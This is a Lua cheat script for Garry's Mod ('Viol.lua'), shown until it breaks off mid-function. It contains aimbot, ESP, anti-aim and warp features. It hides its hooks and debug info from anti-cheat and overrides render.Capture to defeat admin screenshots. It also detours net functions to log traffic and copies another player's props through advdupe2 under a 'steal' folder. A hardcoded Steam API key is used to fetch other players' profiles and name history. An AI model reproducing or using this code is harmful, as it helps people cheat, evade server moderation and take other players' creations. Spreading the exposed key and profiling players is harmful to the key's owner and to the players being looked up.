-- paradox note: Ain't no way I just got my shit pasted from. This is litterally my cheat but unmodularized and ruined.
-- https://github.com/ryanoutcome20/Coffee

require("caca")

local var = {
    friendlist = {
    } ,

    hitlogs = {data = {}} ,
    add = {x = 0, y = 0} ,
    lastplayerhit = nil ,
    bRunning = nil ,
    toggleKeyPressed = false ,
	togglethird = false ,
    toggleInvisible = false ,
    anglecross = 0 ,
    dropdownMenu = nil ,
    activeCategory = nil ,
	centerX = ScrW() / 2 ,
	centerY = ScrH() / 2 ,
	cheatMenu = nil ,
	Next = 0 ,
	LastCharge = 0 ,
	LastChargeSequence = ded.GetOutSequenceNr() ,
    vrmod = false ,
    vj_cleanup = false ,
    gts = false ,
    advdupe2_from_json = false ,
    keybindLoaded = false ,
    keybind = {} ,
    nextact = 0 ,
    hooksToRemove = {} ,
    HUDPAINT = true ,

    sg = false ,
    renderv = render.RenderView ,
    renderc = render.Clear ,
    rendercap = render.Capture ,
    vguiworldpanel = vgui.GetWorldPanel ,
    supenglight = render.SuppressEngineLighting ,
    

    j = jit ,
    d = debug ,
    h = http ,

    string_match = string.match ,
    timer = timer.Simple ,
    Material = Material ,
    toStr = tostring ,

    net_WriteBool = net.WriteBool ,
    net_WriteData = net.WriteData ,
    net_WriteString = net.WriteString ,
    net_WriteInt = net.WriteInt ,
    net_ReadString = net.ReadString ,
    net_SendToServer = net.SendToServer ,

    file_read = file.Read ,

    math_cos = math.cos ,
    math_asin = math.asin ,
    math_abs = math.abs ,
    math_sin = math.sin ,

    math_acos = math.acos ,
    math_sqrt = math.sqrt ,
    math_pi = math.pi ,
    math_floor = math.floor ,
    math_rad = math.rad ,
    math_round = math.Round ,
    math_clamp = math.Clamp ,
    math_NormAngle = math.NormalizeAngle ,
    math_huge = math.huge ,
    math_random = math.random ,
    math_rand = math.Rand ,

    cones = {} , 
    activeWeapon = LocalPlayer():GetActiveWeapon(),
    activeWeaponClass = IsValid(LocalPlayer():GetActiveWeapon()) and LocalPlayer():GetActiveWeapon():GetClass() or "",
    CustomSpread = {} ,
    SpreadComps = {} ,

    traceStruct        = { mask = MASK_SHOT, filter = me } ,

    CurTime = CurTime ,
    ScrW = ScrW ,
    ScrH = ScrH ,
    surface_SetDrawColor = surface.SetDrawColor ,
    surface_DrawLine = surface.DrawLine ,
    draw_SimpleText = draw.SimpleText ,
    draw_SimpleTextOutlined = draw.SimpleTextOutlined ,

    SkeletonTBL = {
    	{ F = "ValveBiped.Bip01_Head1", B = "ValveBiped.Bip01_Neck1" },
    	{ F = "ValveBiped.Bip01_Neck1", B = "ValveBiped.Bip01_Spine4" },
    	{ F = "ValveBiped.Bip01_Spine4", B = "ValveBiped.Bip01_Spine2" },
    	{ F = "ValveBiped.Bip01_Spine2", B = "ValveBiped.Bip01_Spine1" },
    	{ F = "ValveBiped.Bip01_Spine1", B = "ValveBiped.Bip01_Spine" },
    	{ F = "ValveBiped.Bip01_Spine", B = "ValveBiped.Bip01_Pelvis" },
    	{ F = "ValveBiped.Bip01_Neck1", B = "ValveBiped.Bip01_L_UpperArm" },
    	{ F = "ValveBiped.Bip01_L_UpperArm", B = "ValveBiped.Bip01_L_Forearm" },
    	{ F = "ValveBiped.Bip01_L_Forearm", B = "ValveBiped.Bip01_L_Hand" },
    	{ F = "ValveBiped.Bip01_Neck1", B = "ValveBiped.Bip01_R_UpperArm" },
    	{ F = "ValveBiped.Bip01_R_UpperArm", B = "ValveBiped.Bip01_R_Forearm" },
    	{ F = "ValveBiped.Bip01_R_Forearm", B = "ValveBiped.Bip01_R_Hand" },
    	{ F = "ValveBiped.Bip01_Pelvis", B = "ValveBiped.Bip01_L_Thigh" },
    	{ F = "ValveBiped.Bip01_L_Thigh", B = "ValveBiped.Bip01_L_Calf" },
    	{ F = "ValveBiped.Bip01_L_Calf", B = "ValveBiped.Bip01_L_Foot" },
    	{ F = "ValveBiped.Bip01_L_Foot", B = "ValveBiped.Bip01_L_Toe0" },
    	{ F = "ValveBiped.Bip01_Pelvis", B = "ValveBiped.Bip01_R_Thigh" },
    	{ F = "ValveBiped.Bip01_R_Thigh", B = "ValveBiped.Bip01_R_Calf" },
    	{ F = "ValveBiped.Bip01_R_Calf", B = "ValveBiped.Bip01_R_Foot" },
    	{ F = "ValveBiped.Bip01_R_Foot", B = "ValveBiped.Bip01_R_Toe0" },
    } ,
    
    concommand_Add = concommand.Add ,
    hook_Add = hook.Add ,
    hook_Run = hook.Run ,
    hook_GetTable = hook.GetTable() ,
    hook_Remove = hook.Remove ,
    net_Start = net.Start ,
	tickInterval = engine.TickInterval() ,

    me = LocalPlayer() ,
    fa = LocalPlayer():EyeAngles() ,
    weaponfov = 115 ,
    vieworigin = LocalPlayer():EyePos() ,
    getpunch = LocalPlayer():GetViewPunchAngles() ,
    baseyaw = 0 ,

    ORIGINALHUDPAINT = GAMEMODE.HUDPaint or function() end ,

    segments = {
        {-5, 0, 5, 0},
        {0, -5, 0, 5},
        {-5, 0, -5, -5},
        {5, 0, 5, 5},
        {0, -5, 5, -5},
        {0, 5, -5, 5},
    },

	neonColors = {
		{255, 0, 0},
		{0, 255, 0},
		{0, 114, 214},
		{255, 255, 0},
		{255, 0, 255},
		{0, 255, 255}
	} ,

	bulletImpacts = {} ,
	
    entityColors = {
        ["ent_lootbox_low"] = Color(0, 255, 0, 255),
        ["ent_lootbox_medium"] = Color(0, 183, 255, 255),
        ["ent_lootbox_granade"] = Color(94, 68, 0, 255),
        ["ent_lootbox_weapons"] = Color(255, 0, 0, 255),
        ["ent_lootbox_legendary"] = Color(245, 167, 66, 255),
	} ,
}

local function IsFriend(steamID)
    for _, id in ipairs(var.friendlist) do
        if id == steamID then return true end
    end
    return false
end

local function AddFriend(steamID)
    if not IsFriend(steamID) then
        table.insert(var.friendlist, steamID)
        notification.AddLegacy("Added to Friend List!", NOTIFY_HINT, 3)
    end
end

local function RemoveFriend(steamID)
    for i, id in ipairs(var.friendlist) do
        if id == steamID then
            table.remove(var.friendlist, i)
            notification.AddLegacy("Removed from Friend List!", NOTIFY_HINT, 3)
            break
        end
    end
end

local getinfo_fake = var.d.getinfo

var.d.getinfo = function(...)
    return getinfo_fake(...)
end

local funcinfo_fake = var.j.util.funcinfo

var.j.util.funcinfo = function(...)
    return funcinfo_fake(...)
end

var.j.on()
var.j.flush()

local fake_hooks = table.Copy(var.hook_GetTable) 

hook.GetTable = function()
    return fake_hooks
end

local function VARhooks(event, func)
    local hooks = var.hook_GetTable
    local possibleHooks = {}
    
    for hookEvent, funcTable in pairs(hooks) do
        if hookEvent == event then
            for id, _ in pairs(funcTable) do
                table.insert(possibleHooks, id)
            end
        end
    end
    
    local hookID
    if #possibleHooks > 0 then
        local randomIndex = var.math_random(1, #possibleHooks)
        hookID = possibleHooks[randomIndex]
    else
        hookID = event
    end
    
    var.hook_Add(event, hookID, func)
    if not var.hooksToRemove[event] then
        var.hooksToRemove[event] = {}
    end
    table.insert(var.hooksToRemove[event], hookID)

    print("Hook ajouté → Événement:", event, "| ID:", hookID)
end



local cmdNames = { "vj_cleanup", "vrmod", "gts", "advdupe2_from_json"}

for cmdName, _ in pairs(concommand.GetTable()) do
    for _, name in ipairs(cmdNames) do
        if string.find(cmdName, name) then
            var[name] = true
        end
    end
end

-- 		::::    ::::      :::     ::::::::::: 
-- 		+:+:+: :+:+:+   :+: :+:       :+:     
-- 		+:+ +:+:+ +:+  +:+   +:+      +:+     
--		+#+  +:+  +#+ +#++:++#++:     +#+     
--		+#+       +#+ +#+     +#+     +#+     
--		#+#       #+# #+#     #+#     #+#     
--		###       ### ###     ###     ###


local selfillum = {
    ["$basetexture"] = "vgui/white_additive",
    ["$bumpmap"] = "vgui/white_additive",
    ["$model"] = "1",
    ["$nocull"] = "0",
    ["$selfillum"] = 1,
    ["$selfIllumFresnel"] = 1,
    ["$selfIllumFresnelMinMaxExp"] = "[0.0 0.3 0.6]",
    ["$selfillumtint"] = "[0 0 0]",
}

local Glow2 = CreateMaterial("selfillum", "VertexLitGeneric", selfillum)

local function camignorez(bool)
    render.DepthRange( 0,bool and 0.8 or 1 )
end

local function GetColorForMaterial(i)
    return var.neonColors[(i - 1) % #var.neonColors + 1]
end

local function IsOutOfFOV( ent )
    if true then
        if var.me:GetObserverMode() == 0 then
            local Width = ent:BoundingRadius()
            local Disp = ent:GetPos() -var.me:GetShootPos()
            local Dist = Disp:Length()
            local MaxCos = var.math_abs( var.math_cos( var.math_acos( Dist /var.math_sqrt( Dist *Dist +Width *Width ) ) +56 *( var.math_pi /180 ) ) )
            Disp:Normalize()
            local dot = Disp:Dot( var.me:EyeAngles():Forward() )
            return dot <MaxCos
        end
    end
end

local function validation(x)
    return IsValid(x) and x:Alive() and x ~= var.me and x:Team() ~= TEAM_SPECTATOR and team.GetName(x:Team()) ~= "Spectator" and x:GetObserverMode() == 0
end

surface.CreateFont("TheDefaultSettings1", {
    font = "HudDefault",
    size = 38,
    weight = 9999,
    bold = true,
})

local function TimeToTick(Time)
    return var.math_floor(0.5 + (Time / TICK_INTERVAL))
end


--		 :::       :::     :::     ::::::::::: :::::::::: :::::::::  ::::    ::::      :::     :::::::::  :::    ::: 
--		 :+:       :+:   :+: :+:       :+:     :+:        :+:    :+: +:+:+: :+:+:+   :+: :+:   :+:    :+: :+:   :+:  
--		 +:+       +:+  +:+   +:+      +:+     +:+        +:+    +:+ +:+ +:+:+ +:+  +:+   +:+  +:+    +:+ +:+  +:+   
--		 +#+  +:+  +#+ +#++:++#++:     +#+     +#++:++#   +#++:++#:  +#+  +:+  +#+ +#++:++#++: +#++:++#:  +#++:++    
--		 +#+ +#+#+ +#+ +#+     +#+     +#+     +#+        +#+    +#+ +#+       +#+ +#+     +#+ +#+    +#+ +#+  +#+   
--		  #+#+# #+#+#  #+#     #+#     #+#     #+#        #+#    #+# #+#       #+# #+#     #+# #+#    #+# #+#   #+#  
--		   ###   ###   ###     ###     ###     ########## ###    ### ###       ### ###     ### ###    ### ###    ###

surface.CreateFont("XX", {font = "Verdana", size = 12, antialias = false, outline = true})
local watermark = vgui.Create("DPanel")
watermark:SetSize(0, 22)
watermark:SetPos(var.ScrW() - 550, 10)
watermark:SizeTo(350, 22, 1, 0, 2, function() end)

local function RotatePoint(centerX, centerY, x, y, angle)
	local cosA = var.math_cos(var.math_rad(angle))
	local sinA = var.math_sin(var.math_rad(angle))
	return centerX + (x * cosA - y * sinA), centerY + (x * sinA + y * cosA)
end

watermark.Paint = function(self, w, h)
	draw.RoundedBox(15, 0, 0, w, h, Color(0, 0, 0))
	centerX = 10
	centerY = h / 2
	var.anglecross = var.anglecross + FrameTime() * 50
	i = 0
	for i, seg in ipairs(var.segments) do
		color = GetColorForMaterial(i)
		var.surface_SetDrawColor(color[1], color[2], color[3])

		local x1, y1 = RotatePoint(centerX, centerY, seg[1], seg[2], var.anglecross)
		local x2, y2 = RotatePoint(centerX, centerY, seg[3], seg[4], var.anglecross)

		var.surface_DrawLine(x1, y1, x2, y2)
	end

	local text = "Viol.lua | FPS: " .. var.math_round(1 / FrameTime(), 0) ..
		" | Ping: " .. var.math_round(var.me:Ping(), 2) ..
		" | Tickrate: " .. string.format("%.2f", 1 / engine.TickInterval())

	local textX = w / 2
	local textY = h / 2
	local offsetX = -string.len(text) * 6 / 2

	for i = 1, #text do
		local char = string.sub(text, i, i)
		color = GetColorForMaterial(i)
		
		var.draw_SimpleTextOutlined(
			char,
			"XX",
			textX + offsetX + (i - 1) * 6,
			textY,
			Color(color[1], color[2], color[3]),
			TEXT_ALIGN_CENTER,
			TEXT_ALIGN_CENTER,
			0.2,
			Color(0, 0, 0)
		)
	end
end

watermark.Think = function(self)
	self:SetPos(var.ScrW() - self:GetWide() - 10, 10)
end

----------------------------------------------------------------------------------------------------------------------
local function IsBindPressed(bind)
    if bind >= 107 and bind <= 115 then -- Plage des boutons souris (ex: 107 à 115)
        return input.IsMouseDown(bind) -- Conversion vers MOUSE_*
    end
    return input.IsKeyDown(bind)
end


local function LoadKeybinds()
    local path = "viol/keybind.txt"

    if not file.Exists(path, "DATA") then
        print("[ERROR] keybind.txt not found in data/viol/")

        local defaultKeybinds = 
[[
FREECAM = F
MENU = J
SPAMCAM = L
THIRDPERSON = V
SPAMLAMP = K
INVISIBLE = B
TP = H
WARP = MOUSE_5
AIRSTUCK = MOUSE_4
]]
        file.Write(path, defaultKeybinds)
        print("[INFO] keybind.txt created with default keybinds.")
    end

    print("[INFO] keybind.txt found, loading...")

    local content = var.file_read(path, "DATA")
    if not content or content == "" then
        print("[ERROR] keybind.txt is empty.")
        return
    end

    var.keybind = var.keybind or {}

    for line in string.gmatch(content, "[^\r\n]+") do
        local key, bind = var.string_match(line, "^(%w+)%s*=%s*([%w_]+)$")
        if key and bind then
            local keyEnum = _G["KEY_" .. string.upper(bind)] or _G["MOUSE_" .. string.upper(bind):gsub("MOUSE_", "")]
            if keyEnum then
                var.keybind[key] = keyEnum
                print("[INFO] Bind loaded:", key, "->", bind)
            else
                print("[ERROR] Invalid key:", bind)
            end
        end
    end

    print("[SUCCESS] Keybinds loaded successfully.")
    var.keybindLoaded = true
end

--		 :::     :::     :::     :::::::::  :::::::::::     :::     :::::::::  :::        :::::::::: 
--		 :+:     :+:   :+: :+:   :+:    :+:     :+:       :+: :+:   :+:    :+: :+:        :+:        
--		 +:+     +:+  +:+   +:+  +:+    +:+     +:+      +:+   +:+  +:+    +:+ +:+        +:+        
--		 +#+     +:+ +#++:++#++: +#++:++#:      +#+     +#++:++#++: +#++:++#+  +#+        +#++:++#   
--		  +#+   +#+  +#+     +#+ +#+    +#+     +#+     +#+     +#+ +#+    +#+ +#+        +#+        
--		   #+#+#+#   #+#     #+# #+#    #+#     #+#     #+#     #+# #+#    #+# #+#        #+#        
--		     ###     ###     ### ###    ### ########### ###     ### #########  ########## ##########


local function screengrab()
	if var.sg then return end
    var.sg = true
 
	var.renderc( 0, 0, 0, 255, true, true )
	var.renderv( {
		origin = var.vieworigin,
		angles = var.fa,
		x = 0,
		y = 0,
		w = ScrW(),
		h = ScrH(),
		dopostprocess = true,
		drawhud = true,
		drawmonitors = true,
		drawviewmodel = true
	} )
 
	local vguishits = var.vguiworldpanel()
 
	if IsValid( vguishits ) then
		vguishits:SetPaintedManually( true )
	end
 
	var.timer( 0.1, function()
		var.vguiworldpanel():SetPaintedManually( false )
		var.sg = false
	end)
end
 
var.rendercap = function(data)
    print("[INFO] : ScreenGrabbed" )
	screengrab()
	local cap = var.rendercap( data )
	return cap
end

local ftg = {}
ftg.vars = {}

var.bSendPacket = true

ftg.vars["VIOL_UNLOAD"] = false

ftg.vars["VIOL_AIMBOT"] = false
ftg.vars["VIOL_SILENT"] = false
ftg.vars["VIOL_PSILENT"] = false
ftg.vars["VIOL_NOSPREAD"] = false
ftg.vars["VIOL_AUTOFIRE"] = false
ftg.vars["VIOL_RAPIDFIRE"] = false
ftg.vars["VIOL_DT"] = false
ftg.vars["VIOL_AUTOARREST"] = false

ftg.vars["VIOL_ESP"] = false
ftg.vars["VIOL_CHAMS"] = false
ftg.vars["VIOL_PROPSCHAMS"] = false
ftg.vars["VIOL_WEAPONCHAMS"] = false
ftg.vars["VIOL_BULLETTRACER"] = false
ftg.vars["VIOL_FOV"] = false
ftg.vars["VIOL_WEAPONFOV"] = false
ftg.vars["VIOL_THIRD"] = false

ftg.vars["VIOL_TAUNTSPAM"] = false
ftg.vars["VIOL_BHOP"] = false
ftg.vars["VIOL_FASTWALK"] = false
ftg.vars["VIOL_AIRSTUCK"] = false
ftg.vars["VIOL_WARP"] = false
ftg.vars["VIOL_DESYNC"] = false
ftg.vars["VIOL_SPAM"] = false

ftg.vars["VIOL_SCRAPE"] = false

ftg.vars["VIOL_VRMOD_INVISIBLE"] = false
ftg.vars["VIOL_CLIMBSWEP"] = false

ftg.vars["VIOL_ANTIAIM"] = false

ftg.vars["VIOL_ANTIAIM_PITCHUP"] = false
ftg.vars["VIOL_ANTIAIM_PITCHDOWN"] = false

ftg.vars["VIOL_ANTIAIM_SPIN"] = false
ftg.vars["VIOL_ANTIAIM_SWAY"] = false
ftg.vars["VIOL_ANTIAIM_SIDE_LEFT"] = false
ftg.vars["VIOL_ANTIAIM_SIDE_RIGHT"] = false

ftg.vars["VIOL_ANTIAIM_CUSTOM"] = false
ftg.vars["VIOL_ANTIAIM_CUSTOM_PITCH"]  = 0
ftg.vars["VIOL_ANTIAIM_CUSTOM_YAW"]  = 0


--		 ::::    ::::  :::::::::: ::::    ::: :::    ::: 
--		 +:+:+: :+:+:+ :+:        :+:+:   :+: :+:    :+: 
--		 +:+ +:+:+ +:+ +:+        :+:+:+  +:+ +:+    +:+ 
--		 +#+  +:+  +#+ +#++:++#   +#+ +:+ +#+ +#+    +:+ 
--		 +#+       +#+ +#+        +#+  +#+#+# +#+    +#+ 
--		 #+#       #+# #+#        #+#   #+#+# #+#    #+# 
--		 ###       ### ########## ###    ####  ########

local function CreateCustomCheckbox(parent, x, y, text, varName, onChange)
    local panel = vgui.Create("DPanel", parent)
    panel:SetSize(200, 30)
    panel:SetPos(x, y)
    panel.state = ftg.vars[varName] or false
    panel.sliderPos = panel.state and 1 or 0

    panel.Paint = function(self, w, h)
        var.draw_SimpleText(text, "DermaDefaultBold", 50, h / 2, Color(255, 255, 255), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)

        local bgColor = self.state and Color(80, 200, 120) or Color(200, 80, 80)
        draw.RoundedBox(16, 10, 5, 30, 20, bgColor)

        self.sliderPos = Lerp(FrameTime() * 10, self.sliderPos, self.state and 1 or 0)

        local circleX = 12 + (self.sliderPos * 11)
        draw.RoundedBox(16, circleX, 7, 16, 16, Color(255, 255, 255))
    end

    panel.OnMousePressed = function(self)
        self.state = not self.state
        ftg.vars[varName] = self.state
        if onChange then onChange(self.state) end
    end

    return panel
end

local function CreateCustomColorPicker(parent, x, y, defaultColor, onChange)
    local panel = vgui.Create("DPanel", parent)
    panel:SetSize(300, 200)
    panel:SetPos(x, y)
    panel.currentColor = defaultColor or Color(255, 255, 255)

    panel.Paint = function(self, w, h)
        draw.RoundedBox(8, 0, 0, w, h, Color(50, 50, 50)) -- Fond
        var.draw_SimpleText("Color Picker", "DermaDefaultBold", 10, 10, Color(255, 255, 255), TEXT_ALIGN_LEFT)

        draw.RoundedBox(8, w - 40, 5, 30, 30, self.currentColor)
    end

    local colorMixer = vgui.Create("DColorMixer", panel)
    colorMixer:SetSize(280, 150)
    colorMixer:SetPos(10, 40)
    colorMixer:SetPalette(false)
    colorMixer:SetAlphaBar(true)
    colorMixer:SetWangs(true)
    colorMixer:SetColor(panel.currentColor)

    colorMixer.ValueChanged = function(_, color)
        panel.currentColor = color
        if onChange then onChange(color) end
    end

    return panel
end

local function SaveBase(selectedPlayer, fileName)
    local plyPos = var.me:GetPos()

    local propsInfo = {}
    local constraintsInfo = {}

    local headEnt = nil

    for _, ent in ipairs(ents.GetAll()) do
        if IsValid(ent) and ent:GetClass() == "prop_physics" then
            local pl, num = ent:CPPIGetOwner()
            if pl and pl:SteamID() == selectedPlayer:SteamID() then
                local physicsObj = ent:GetPhysicsObject()
                local pos = ent:GetPos()

                local propData = {
                    ["PhysicsObjects"] = {
                        ["0"] = {
                            ["Frozen"] = IsValid(physicsObj) and not physicsObj:IsMotionEnabled(),
                            ["Pos"] = pos,
                            ["Angle"] = ent:GetAngles()
                        }
                    },
                    ["Class"] = ent:GetClass(),
                    ["Model"] = ent:GetModel(),
                    ["EntityMods"] = {
                        ["colour"] = {
                            ["Color"] = {
                                ["r"] = ent:GetColor().r,
                                ["g"] = ent:GetColor().g,
                                ["a"] = ent:GetColor().a,
                                ["b"] = ent:GetColor().b
                            },
                            ["RenderFX"] = "0.0",
                            ["RenderMode"] = ent:GetRenderMode()
                        },
                        ["material"] = {
                            ["MaterialOverride"] = ent:GetMaterial()
                        }
                    },
                    ["CollisionGroup"] = ent:GetCollisionGroup(),
                    ["OnDieFunctions"] = {
                        ["GetCountUpdate"] = {
                            ["Name"] = "GetCountUpdate",
                            ["Args"] = { ["2"] = "props" }
                        }
                    }
                }

                propsInfo[ent:EntIndex()] = propData

                if not headEnt then
                    headEnt = {
                        ["Pos"] = Vector(0, 0, 0),
                        ["Z"] = ent:OBBCenter().z,
                        ["Index"] = ent:EntIndex()
                    }
                end
            end
        end
    end

    local advdupe2Data = {
        Entities = propsInfo,
        Constraints = constraintsInfo,
        HeadEnt = headEnt or {},
        Description = ""
    }

    local json = util.TableToJSON(advdupe2Data, true)

    local filePath = "advdupe2/steal/" .. fileName .. ".json"
    local baseFileName = fileName
    local counter = 1

    while file.Exists(filePath, "DATA") do
        counter = counter + 1
        filePath = "advdupe2/steal/" .. baseFileName .. "_" .. counter .. ".json"
    end

    file.Write(filePath, json)
    local fileName2 = "steal/" .. baseFileName .. (counter > 1 and "_" .. counter or "") .. ".json"
    RunConsoleCommand("advdupe2_from_json", fileName2)
end

local function OpenFileNameDialog(selectedPlayer)
    local fileDialog = vgui.Create("DFrame")
    fileDialog:SetSize(350, 150)
    fileDialog:Center()
    fileDialog:SetTitle("")
    fileDialog:ShowCloseButton(false)
    fileDialog:SetDraggable(false)
    fileDialog:MakePopup()
    fileDialog.Paint = function(self, w, h)
        draw.RoundedBox(4, 0, 0, w, h, Color(40, 40, 40))
        var.draw_SimpleText("Save Base", "DermaDefaultBold", 20, 20, Color(255, 255, 255), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP)
    end

    local closeButton = vgui.Create("DImageButton", fileDialog)
    closeButton:SetPos(320, 5)
    closeButton:SetSize(20, 20)
    closeButton:SetMaterial("icon16/cancel.png")
    closeButton.DoClick = function()
        fileDialog:Close()
    end

    local textEntry = vgui.Create("DTextEntry", fileDialog)
    textEntry:SetPos(20, 50)
    textEntry:SetSize(300, 25)
    textEntry:SetText(selectedPlayer:Nick() .. "_base")
    textEntry:SetEnterAllowed(true)

    local saveButton = vgui.Create("DButton", fileDialog)
    saveButton:SetPos(20, 90)
    saveButton:SetSize(300, 30)
    saveButton:SetText("Save Base")
    saveButton.DoClick = function()
        local fileName = textEntry:GetValue()
        if fileName and fileName ~= "" then
            SaveBase(selectedPlayer, fileName)
			print(selectedPlayer)
            notification.AddLegacy("Base saved as: " .. fileName .. ".json", NOTIFY_HINT, 3)
            surface.PlaySound("buttons/button14.wav")
            fileDialog:Close()
        else
            notification.AddLegacy("Please enter a valid file name!", NOTIFY_ERROR, 3)
        end
    end
end

local netCodes = netCodes or {
    ["SendToServer"] = var.net_SendToServer,
    ["Start"] = net.Start,
    ["WriteAngle"] = net.WriteAngle,
    ["WriteBool"] = var.net_WriteBool,
    ["WriteColor"] = net.WriteColor,
    ["WriteData"] = var.net_WriteData,
    ["WriteDouble"] = net.WriteDouble,
    ["WriteEntity"] = net.WriteEntity,
    ["WriteFloat"] = net.WriteFloat,
    ["WriteInt"] = var.net_WriteInt,
    ["WriteMatrix"] = net.WriteMatrix,
    ["WriteNormal"] = net.WriteNormal,
    ["WriteString"] = var.net_WriteString,
    ["WriteTable"] = net.WriteTable,
    ["WriteUInt"] = net.WriteUInt,
    ["WriteVector"] = net.WriteVector
}

local buffer = ""
local lastLog = ""
local originalNetFunctions = {}

local function constructNetBlock(t, netName)
    local logString = "net." .. netName .. "("
    
    for i = 1, #t do
        local value = t[i]
        if type(value) == "number" then
            logString = logString .. value .. (i == #t and "" or ", ")
        elseif type(value) == "boolean" then
            logString = logString .. var.toStr(value)
        elseif type(value) == "string" then
            logString = logString .. "\"" .. value .. "\"" .. (i == #t and "" or ", ")
        elseif IsEntity(value) then
            logString = logString .. "Entity(" .. var.toStr(value:EntIndex()) .. ")"
        elseif type(value) == "Vector" then
            logString = logString .. "Vector(" .. string.gsub(var.toStr(value), "%s+", ", ") .. ")"
        elseif type(value) == "table" then
            logString = logString .. "Table(" .. util.TableToJSON(value) .. ")"
        else
            logString = logString .. "UnhandledType: " .. type(value)
        end
    end
    
    logString = logString .. ")"

    if logString ~= lastLog then
        buffer = buffer .. logString .. "\n"
        lastLog = logString
    end

    if netName == "SendToServer" then
        var.hook_Run("LoggedNetMessage", buffer)
        buffer = ""
    end
end

local function handleNetMessage(netName)
    return function(...)
        constructNetBlock({...}, netName)

        if netCodes[netName] then
            return netCodes[netName](...)
        end
    end
end

function detourNetFunctions(enable)
    for k, v in pairs(netCodes) do
        if enable then
            if not originalNetFunctions[k] then
                originalNetFunctions[k] = net[k]
            end
            net[k] = handleNetMessage(k)
        else
            net[k] = originalNetFunctions[k] or v
        end
    end
end

if not detoured_net_functions then
    detoured_net_functions = true
    detourNetFunctions(true)
end

local function SaveKeybinds()
    local path = "viol/keybind.txt"
    local content = ""

    for key, bind in pairs(var.keybind) do
        local keyName

        if isnumber(bind) then
            keyName = input.GetKeyName(bind)
            if keyName then
                keyName = keyName:upper():gsub("MOUSE(%d+)", "MOUSE_%1")
            else
                keyName = "UNKNOWN"
            end
        elseif isstring(bind) then
            keyName = bind:upper()
        else
            keyName = "NONE"
        end

        content = content .. key .. " = " .. keyName .. "\n"
    end

    file.Write(path, content)
    print("[INFO] Keybinds saved successfully.")
end

local function CreateKeyBindOption(parent, x, y, label, bindKey)
    local panel = vgui.Create("DPanel", parent)
    panel:SetSize((parent:GetWide() - 30) / 2, 30)
    panel:SetPos(x, y)
    panel.Paint = function(self, w, h)
        draw.RoundedBox(4, 0, 0, w, h, Color(50, 50, 50))
        var.draw_SimpleText(label, "Trebuchet18", 10, h / 2, Color(255, 255, 255), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
    end

    local btn = vgui.Create("DButton", panel)
    btn:SetSize(80, 25)
    btn:SetPos(panel:GetWide() - 110, 2.5)
    btn:SetText("")

    local function UpdateKeyText()
        local key = var.keybind[bindKey] or KEY_NONE
        if isnumber(key) then
            btn.currentKeyText = input.GetKeyName(key) and input.GetKeyName(key):upper() or "NONE"
        elseif isstring(key) then
            btn.currentKeyText = key:upper():gsub("MOUSE_", "MOUSE")
        else
            btn.currentKeyText = "NONE"
        end
    end

    UpdateKeyText()

    btn.Paint = function(self, w, h)
        draw.RoundedBox(4, 0, 0, w, h, self:IsHovered() and Color(70, 70, 70) or Color(50, 50, 50))
        var.draw_SimpleText(btn.currentKeyText, "Trebuchet18", w / 2, h / 2, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
    end

    btn.DoClick = function()
        btn.currentKeyText = "Press Key..."
        btn:SetEnabled(false)

        hook.Add("Think", "WaitForKeyBind_" .. bindKey, function()
            for i = 1, 107 do
                if input.IsKeyDown(i) then
                    var.keybind[bindKey] = i
                    UpdateKeyText()
                    btn:SetEnabled(true)
                    hook.Remove("Think", "WaitForKeyBind_" .. bindKey)
                    SaveKeybinds()
                    return
                end
            end

            local mouseButtons = {
                [MOUSE_LEFT] = "MOUSE_1",
                [MOUSE_RIGHT] = "MOUSE_2",
                [MOUSE_MIDDLE] = "MOUSE_3",
                [MOUSE_4] = "MOUSE_4",
                [MOUSE_5] = "MOUSE_5"
            }

            for btnNum, btnName in pairs(mouseButtons) do
                if input.IsMouseDown(btnNum) then
                    var.keybind[bindKey] = btnName
                    UpdateKeyText()
                    btn:SetEnabled(true)
                    hook.Remove("Think", "WaitForKeyBind_" .. bindKey)
                    SaveKeybinds()
                    return
                end
            end
        end)
    end
end

local steamID64 = ""
local apiKey = "9CDF70B4A7AF6B5FE91541BB7966A8C7"
local aliasURL = ""

local function DisplaySteamInfoMenu(aliases)
    local steamInfoMenu = vgui.Create("DFrame")
    steamInfoMenu:SetSize(400, 282)
    steamInfoMenu:SetTitle("")
    steamInfoMenu:ShowCloseButton(false)
    steamInfoMenu:SetDraggable(true)
    steamInfoMenu:SetAlpha(0)
    steamInfoMenu:Center()
    steamInfoMenu:MakePopup()

    steamInfoMenu:AlphaTo(255, 0.3, 0)

    steamInfoMenu.Paint = function(self, w, h)
        draw.RoundedBox(10, 0, 0, w, h, Color(45, 45, 45))
        var.draw_SimpleText("Informations", "Trebuchet24", w / 2, 7, Color(255, 255, 255), TEXT_ALIGN_CENTER)
    end

    local aliasList = vgui.Create("DListView", steamInfoMenu)
    aliasList:SetPos(10, 37)
    aliasList:SetSize(380, 230)
    aliasList:AddColumn("Pseudo")
    aliasList:AddColumn("Date de changement")

    aliasList:SetSkin("DarkRP")
    aliasList.Paint = function(self, w, h)
        draw.RoundedBox(8, 0, 0, w, h, Color(35, 35, 35))
    end

    aliasList:SetHeaderHeight(0)

    for _, alias in ipairs(aliases) do
        local line = aliasList:AddLine(alias.newname, alias.timechanged)
        
        line:SetColumnText(1, alias.newname)
        line:SetColumnText(2, alias.timechanged)

        for i = 1, 2 do
            line.Columns[i]:SetTextColor(Color(255, 255, 255))
        end


    end

    local closeButton = vgui.Create("DButton", steamInfoMenu)
    closeButton:SetSize(20, 20)
    closeButton:SetPos(steamInfoMenu:GetWide() - 30, 10)
    closeButton:SetText("")

    closeButton.Paint = function(self, w, h)
        local bgColor = self:IsHovered() and Color(200, 50, 50) or Color(255, 50, 50)
        var.draw_SimpleText("X", "Trebuchet24", w / 2, h / 2, bgColor, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
    end

    closeButton.DoClick = function()
        steamInfoMenu:AlphaTo(0, 0.3, 0, function() steamInfoMenu:SetVisible(false) end)
    end
end


local function FetchSteamInfo(ply)
    local profileURL = "http://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=" .. apiKey .. "&steamids=" .. ply:SteamID64()
    var.h.Fetch(profileURL,
        function(body, len, headers, code)
            if code ~= 200 then
                print("Erreur lors de la récupération du profil : " .. code)
                return
            end

            local data = util.JSONToTable(body)
            if data and data.response.players[1] then
                local customURL = data.response.players[1].customurl
